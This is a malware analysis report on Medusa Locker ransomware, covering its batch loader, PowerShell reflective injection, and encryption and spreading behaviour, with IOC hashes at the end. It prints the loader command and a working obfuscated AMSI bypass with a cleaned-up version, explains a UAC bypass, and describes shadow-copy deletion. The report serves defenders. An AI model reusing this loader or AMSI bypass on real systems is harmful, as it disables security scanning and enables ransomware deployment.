Medusa Locker used multiple stages of infection, starting with an initial batch file and text document, used to inject ransomware into memory for execution. Notably, it uses known PowerShell code to perform reflective injection of its code, causing PowerShell itself to perform the malicious activity. 

This ransomware was involved in altering the system to permanently remove volume shadow copies and delete system services before encrypting data using standard AES-256 encryption.

This post focuses on the unique aspects of the malware, post-delivery, and their impact on the victimized environment.

Component: Malware loader script

The initial attack started with the execution of a batch file that executed PowerShell for further activity. This file is a batch script that is responsible for running multiple commands, shown below: 

sc create purebackup binpath= "C:Windowssystem32cmd.exe 

/C start /b C:WindowsSysWow64WindowsPowerShellv1.0powershell.exe -c $km = 

[IO.File]::ReadAllText('C:WindowsSysWOW64qzx.txt'); IEX $km" start= auto DisplayName= "purebackup"

Figure 1: Malicious batch file contents

This file has very simple operations. It will look for a pre-established ASCII text file in the folder of C:WindowsSysWOW64. It will then read in the entire contents of that file, described below in Stage 2, and execute it. This file is entrenched into the system as a Windows service named “purebackup”, to ensure that the action is performed upon startup. The final character, “愀”, appears to be a Chinese hanji character, but it has no importance in the execution of the attack.

Component: Malicious code document

A text document is stored on the hard drive that contains the contents of known PowerShell code used for process injection using the publicly available PowerSploit script “Invoke-ReflectivePEInjection”. The earlier malicious batch file is responsible for reading in the entirety of text in this document and executing it, thus starting the ransomware process. Notably in this code is a reflective process injection that performs unique activity of injecting into the parent of the running process. Here, that is PowerShell.exe. 

There were slight changes made to that file. Below are segments of code where there are differences from the malware, bolded, and the original code:

if ([Environment]::OSVersion.Version -ge (new-object (("{0}{1}{2}" -f'Vers','i','on')) 10,0)) {
${w`in`32} = @"
using System;.exe
using System.Runtime.InteropServices;
public class Win32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type ${wI`N`32}

${Loa`D`L`iBRary} = [Win32]::LoadLibrary("am" + ("{1}{0}{2}" -f'dl','si.','l'))
${a`DdrE`ss} = [Win32]::GetProcAddress(${l`oa`dLIbrA`Ry}, ("{1}{0}" -f 'msi','A') + ("{1}{0}" -f 'an','Sc') + ("{0}{1}"-f'Buffe','r'))
${p} = 0
[Win32]::VirtualProtect(${aDD`ResS}, [uint32]5, 0x40, [ref]${p})


[Byte] $c1 = 0xB8
[Byte] $c3 = 0x00
[Byte] $c2 = 0x80
[Byte] $c4 = 0x57
[Byte] $c5 = 0x07
[Byte] $c6 = 0xC3

${P`At`Ch} = [Byte[]] ($c1, $c4, $c3, $c5, $c2, $c6)
[System.Runtime.InteropServices.Marshal]::Copy(${p`A`TCH}, 0, ${Addr`e`sS}, 6)

}

function Invoke-SQLServ
{
<#
.SYNOPSIS

This script has two modes. It can reflectively load a DLL/EXE in to the PowerShell process, 
or it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints, 

< truncated for brevity >
    if (${c`o`MPuter`NAme} -eq ${Nu`Ll} -or ${cOmp`UTErnA`mE} -imatch "^s*$")
    {
        Invoke-Command -ScriptBlock ${rEMOT`esCr`ip`T`B`loCk} -ArgumentList @(${peB`YT`Es}, ${f`U`NCrETUR`N`TyPE}, ${prO`cId}, ${pR`OCn`AMe},${For`C`eaSLR})
    }
    else
    {
        Invoke-Command -ScriptBlock ${REm`otEsC`RI`Pt`BlOcK} -ArgumentList @(${PeBY`TES}, ${FU`NcRe`TuRN`TYPe}, ${P`ROc`Id}, ${PrO`cn`AmE},${f`O`RCE`ASlr}) -ComputerName ${co`mpU`TER`NaME}
    }
}

Main
}

${inPUTST`R`iNG} = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAAHMY
< truncated for brevity >

Figure 2: Abbreviated contents of stored PowerShell code

Notably, there were obfuscated additions and modifications of code used to ensure the malware is executed, shown below:

Add-Type ${wI`N`32}

${Loa`D`L`iBRary} = [Win32]::LoadLibrary("am" + ("{1}{0}{2}" -f'dl','si.','l'))
${a`DdrE`ss} = [Win32]::GetProcAddress(${l`oa`dLIbrA`Ry}, ("{1}{0}" -f 'msi','A') + ("{1}{0}" -f 'an','Sc') + ("{0}{1}"-f'Buffe','r'))
${p} = 0
[Win32]::VirtualProtect(${aDD`ResS}, [uint32]5, 0x40, [ref]${p})


[Byte] $c1 = 0xB8
[Byte] $c3 = 0x00
[Byte] $c2 = 0x80
[Byte] $c4 = 0x57
[Byte] $c5 = 0x07
[Byte] $c6 = 0xC3

${P`At`Ch} = [Byte[]] ($c1, $c4, $c3, $c5, $c2, $c6)
[System.Runtime.InteropServices.Marshal]::Copy(${p`A`TCH}, 0, ${Addr`e`sS}, 6)

Figure 3: Original PowerShell code for AMSI bypass

There are various forms of obfuscation here, especially in the combination of rearranged strings. When cleaned up to make more readable, this code appears as:

Add-Type ${wIN32}

${LoadLibrary} = [Win32]::LoadLibrary("amsi.dll”)
${AmsiScanBuffer_Ptr} = [Win32]::GetProcAddress(${LoadLibrary}, ("AmsiScanBuffer”)
${p} = 0
${dwSize} = 5
[Win32]::VirtualProtect(${AmsiScanBuffer_Ptr}, ${dwSize}, PAGE_EXECUTE_READWRITE, ${p})

${PAtCh} = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy(${pATCH}, 0, ${AmsiScanBuffer_Ptr}, 6)

Figure 4: Clean PowerShell code for AMSI bypass

This is an implementation of a known AMSI bypass, documented here. Specifically the six hex bytes are assembly operation codes (opcodes) that resolve to the code below:

B8 57 00 07 80 mov eax, 0x80070057
C3             ret

Figure 5: Assembly code used to implement AMSI bypass

This small chunk of code replaces the AmsiScanBuffer() function, used by Windows AMSI to start scanning a PowerShell script, to return a hex value that equates to the Windows error of E_INVALIDARG, forcing AMSI to allow execution of the script.

This code is simply used to set the stage for the payload. Contained within the PowerShell code was a large set of Base64 data which was invoked with the PowerShell command “Invoke-SQLServ -PEBase64”.

Component: Ransomware Executable

The primary ransomware executable is run in memory as a fully qualified executable file. This malware performs a large number of system checks to configure itself, and the environment, for persistent execution. 

As overall identification indicators, this ransomware will append each encrypted file with the extension of “.ReadInstructions” and place an HTML ransom note in every folder named “HOW_TO_RECOVER_DATA.html”.

This section will describe the overall actions taken by the malware and then additional detail for each on how it operates and, at times, why it is unique. One notable item about this ransomware is that it contains multiple debug messages. These are text strings inserted by the malware author to be printed to the screen during testing. Prior to final delivery, the malware author removed the function to print them to the screen. However, the messages remain with the prefix of “[LOCKER]”.

The malware performs a large amount of steps in its execution, more so than typical ransomware that we analyze. These include:

• Checking for a unique mutex
• Determining if user has administrative privileges and bypassing UAC
• Creating a registry key as a marker
• Creating persistence using a Windows Scheduled Task
• Terminating and deleting a set of predefined services
• Terminating a set of predefined processes
• Removing recovery data
• Emptying recycle bin
• Modifying SMB access
• Creating a list of files and folders to avoid encrypting
• Iterating through local volumes:
  • Running Windows Restart Manager on each file to unlock it for encryption
  • Encrypting file with AES-256 encryption key
• Iterating through the local network:
  • Performing an ICMP ping against remote system to check connectivity
  • Connecting via SMB, while avoiding hidden shares
  • Encrypting remote files with the same AES-256 encryption key

Creating a Mutex

The malware contains a hard coded mutex of “{8761ABBD-7F85-42EE-B272-A76179687C63}”. This mutex is checked, and set, before any major activity takes place. A mutex is used by applications to register that they are currently running on the system. As any other application can access a mutex, this allows any subsequent execution of the malware to see if it is already running. If so, the new instance will simply terminate.

Figure 6: Code that shows the hardcoded mutex

Checking administrative privileges

The malware will next determine if it is running as an administrator privileged account or a regular user. This is done by checking its own execution in memory and seeing what privileges it has.

This is done using the typical method of opening its own process in memory and determining the user rights used to launch, using GetTokenInformation() as shown below.

Figure 7: Code that shows the method of checking administrative privileges

If the executable is not running as administrator, the malware will attempt to relaunch it after disabling UAC. This is done by using a known UAC bypass method, documented below.

Known UAC bypass method

Medusa Locker implements a known method for bypassing Windows’ User Account Control (UAC), a built-in security measure within Windows that prompts users to manually approve administrative actions. UAC bypasses have been long used for malware to surreptitiously run in the background without user visibility. 

This bypass utilizes the CMSTP technique, discovered years ago, that leverages the Windows CMSTPLUA COM interface’s command execution method to run applications.

Figure 8: Code that shows the implementation of CMSTP UAC bypass

Creating Marker registry key

The malware will create a new key in the registry to store its file name, but not path location. This value is stored to: HKEY_CURRENT_USERSOFTWAREMDSLKSelf. It is not known the importance or usage of this registry key, but it’s an apparent abbreviation of “MeDuSa LocKer”. Similar keys have been used in other malware families as a method of determining if the machine has been compromised in the past or if it’s a new infection. Such markers have also been seen as simple vanity tagging, like graffiti on a wall.

Figure 9: Code that shows the creation of the marker registry key

Creating Persistence through Scheduled Tasks

The malware will create a scheduled task for continued persistence by utilizing the Windows task triggers. This is evidenced by the use of strings in a section of code used for scheduling a hidden task named “svhost”. This will point to a previously established copy of this malware stored in “%AppData%Roamingsvhost.exe”. The values below refer to the “PT” structure, in which scheduled tasks are specified for timed intervals. In the case of this malware, it is set to “PT15M”, which causes it to run every 15 minutes. 

Notably, this author used a formal method of creating a scheduled task using documented Windows programming APIs. While other malware use built-in Windows tools like schtasks.exe and at.exe, this author implemented a solution that mimics Microsoft’s example code almost exactly to create the task. The benefit to this implementation is that it can avoid many forms of behavioral detection that alert on executables running those commands directly.

Figure 10: Code that shows the creation of a scheduled task

The iteration period of 15 minutes is hard configured in the binary, appearing in execution as the configuration is being built:

Figure 11: Code that shows the scheduled task timer being written to the malware configuration

Terminating Services and Processes

Using a pre-established list of service names and process executables, shown below, the malware will begin to close and remove applications that may impair its ability to encrypt the system. It will start by detecting if a service name matches a predefined list, noted in the figure below. If a service is found, the malware will use Windows API calls to terminate it and delete it. These services relate to many security antivirus and business-related applications. The malware will then iterate through a list of executable file names and, if they are running on the system, terminate them. 

The lists of services and processes are understandable for impairing the system, however it is noteworthy that the lists are almost identical to those used by Lockbit ransomware, with only slight differences such as additional processes.

Figure 12: Code that shows the set of services and processes to be terminated

In total, these services and processes are noted below:

Figure 13: List of services to terminate and delete from the system

Figure 14: List of processes to terminate if running

Removing recovery options

As is typical for most ransomware, Medusa Locker will run a series of Windows commands to alter the system to prevent easy recovery. In this case it uses a combination of “vssadmin” and WMI to remove all volume shadow copies – the built-in file system backups within Windows. It will also use the “bcdedit” command to prevent the system from being rebooted into Recovery Mode.

Figure 15: Code that shows the execution of system recovery limiting commands 

Emptying the recycle bin

One of the early operations of the ransomware is to empty all contents of the Windows recycle bin. It is assumed to do this to prevent users from restoring any files that were later encrypted. However, this is a tactic that is uncommon and could just be a sign of how effective and complete the author wanted the destruction to be.

Figure 16: Code that shows the emptying of the Windows recycle bin 

Modifying SMB connection settings

One feature of this ransomware is to change access to local SMB folder shares. This is done by changing one within the victim’s registry under SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem. Under this key, the value of EnableLinkedConnections is set to 0, or disabled. This allows network shares to be available for a user under both regular access and admin privileged access. This feature is disabled by this malware.

Figure 17: Code that shows the modification of the Windows SMB connection settings 

Establish important folders to skip for encryption

During the file and folder enumeration process, the malware will determine if a found folder matches a set of known folders, with examples in the code below. 

These appear to ensure that the services like Exchange and SQL Server are kept operational during encryption. Notably, this malware will skip and not encrypt any file, or the contents of any folder, with a “$” in the file or folder name. This may be in an attempt to avoid the effort of encrypting Microsoft Word temporary backup files or operating system backup folders like $Windows.~BT.

Figure 18: Code that shows the criteria of folders to avoid encrypting 

Figure 19: Further code that shows the criteria of folders to avoid encrypting 

Unlocking files through Windows Restart Manager

One unique aspect of Medusa Locker is its use of the Windows Restart Manager to ensure each file is accessible for encryption. This is necessary as many applications “lock” a file, preventing other applications from writing, or even reading, the contents. Typically, unlocking a file requires identifying the application that has the file open and terminating it. However, Windows has a built-in feature called Restart Manager that assists with that. The malware will use the Restart Manager API calls on each file to encrypt to determine if it is open and, if so, use these API calls to terminate the application. This ensures that as many files are encrypted as possible while performing safe, graceful closure of applications.

Figure 20: Code that shows the use of Windows Restart Manager to close applications 

File encryption

Like many other ransomware families seen in the wild, Medusa Locker will utilize an embedded public key to perform AES-256 encryption on all file data. This public key is stored as a block of base64 data that represents the binary key shown below. There is no method within this implementation for the victim to decrypt their data without assistance from the ransomware group.

Figure 21: The encryption public key stored as base64 text

0000h: 0602 0000 00a4 0000  5253 4131 0008 0000  ........RSA1....
0010h: 0100 0100 57b3 7812  d351 daad 4b60 33f4  ....W.x..Q..K`3.
0020h: 823f 3659 9214 7248  1986 887b 5c29 f027  .?6Y..rH...{).'
0030h: efe7 8fdb 6825 a015  ddb4 3af3 0487 c983  ....h%....:.....
0040h: 8ecf e414 7c78 d9f2  7e67 f096 1f51 09a1  ....|x..~g...Q..
0050h: c653 4f2e 2002 5f1d  96a9 1b8a 6099 44db  .SO. ._.....`.D.
0060h: 3d65 03bf b9fe 6940  a7a1 996d ad7d b46d  =e....i@...m.}.m
0070h: e7a6 7663 058a ffb7  66ef b266 aca9 49fe  ..vc....f..f..I.
0080h: bca1 101c c043 58a0  d1a1 5c72 599c f524  .....CX...rY..$
0090h: 8bf5 fa3d 7814 e6f1  561f 8768 e897 b151  ...=x...V..h...Q
00a0h: b693 264f f3ea cf87  3686 21f7 bfaf ba1a  ..&O....6.!.....
00b0h: cd9b 8e9c 1c6f 2c9b  74de 130e 9769 f2b5  .....o,.t....i..
00c0h: c227 cc80 8528 d55a  09a5 dcef 3f53 aaee  .'...(.Z....?S..
00d0h: 6298 f622 89f0 7db6  587c dbc4 f8f2 aa75  b.."..}.X|.....u
00e0h: ecd2 45ef 3947 93bb  f7be fbbc f8bd 8ac9  ..E.9G..........
00f0h: a720 ed1a 8c7d d574  9a36 cf27 5a2a 74df  . ...}.t.6.'Z*t.
0100h: 2098 46d1 66cf 6b16  fbc9 93f8 66a3 2553  .F.f.k.....f..%S
0110h: c9f8 4cb3                                  ..L.

Figure 22: Base64 decoded Public Key

Network enumeration and file assessment:

The malware has a networking component where it will establish connections to remote systems on the local network and look for SMB shares. This process first involves sending an ICMP “Ping” to each system in order and checking for a response.

Figure 23: Code that shows the use of ICMP pings to remote systems 

The malware will then scan that system for any open SMB shares. It will ignore shares with a “$” in their name, symbolizing hidden shares, and add the remainder to a list for later encryption.

Figure 24: Code that shows the scanning of SMB shares and exclusion of hidden shares 

Figure 25: Data in memory showing the list of SMB shares from a remote system

Once a share meets demands for encryption, the files will be iterated through for encryption.

Figure 26: Data in memory showing the access to a SMB share on a remote system to encrypt

Appendix: Additional specifications / IOCs

In the analysis of this malware, a set of basic indicators were found and stored below. 

File Context    : Malware loader script
File Size       : 239
MD5             : c4dcfe39b3f3bbed32fbc25ed92d8fd0
SHA1            : 3a16925b44226d8253a14ec8c04ed46deeb7744b
SHA256          : e6bd25aec2de3b3e5e3263768da9e20ded49f4fb9edbe34dce2df216478aeea5
Magic           : ASCII text, with no line terminators

Figure 27: Malware loader script metadata

File Context    : Malicious code document
File Size       : 1,104,847
MD5             : 9054555c7d931d0b5c96e9b767f4898e
SHA1            : b3b4f351cc92b6f436a097d70962878c3fe04767
SHA256          : 11a044c67f6c78cb7c89bdd86c9d247fa82102d0d7f5fe035ff686447a57db31
Magic           : ASCII text, with very long lines

Figure 28: Malicious code document metadata

File Context    : Medusa Locker Injected Executable
File Size       : 685,568
MD5             : 908e3b6aab0126ef4efcdc8c4805abd7
SHA1            : 2a9ac8a2a940e537a12ab17720b95d93815849ce
SHA256          : ef1318ede7ab1a8e851f0e052630615daa5ad45002536b295763466d234b4e74
Import Hash     : 1a395bd10b20c116b11c2db5ee44c225
Compiled Time   : Thu Oct 31 06:08:40 2019 UTC
PE Sections (5) : Name       Size       MD5
                  .text      470,016    62ab731da61aadc4812e6c88c169eb62
                  .rdata     175,616    bed9f28721b5178bfbaea1cac951089e
                  .data      14,848     de1ce69e42bb10e84668970b0de23b26
                  .rsrc      512        cb2274e49389fb51fd23c9bcf7155c5b
                  .reloc     23,552     5a67776ffd65edba638353ceac158796

Figure 29: Injected ransomware executable metadata

Figure 30: Ransom note displayed to user as HOW_TO_RECOVER_DATA.html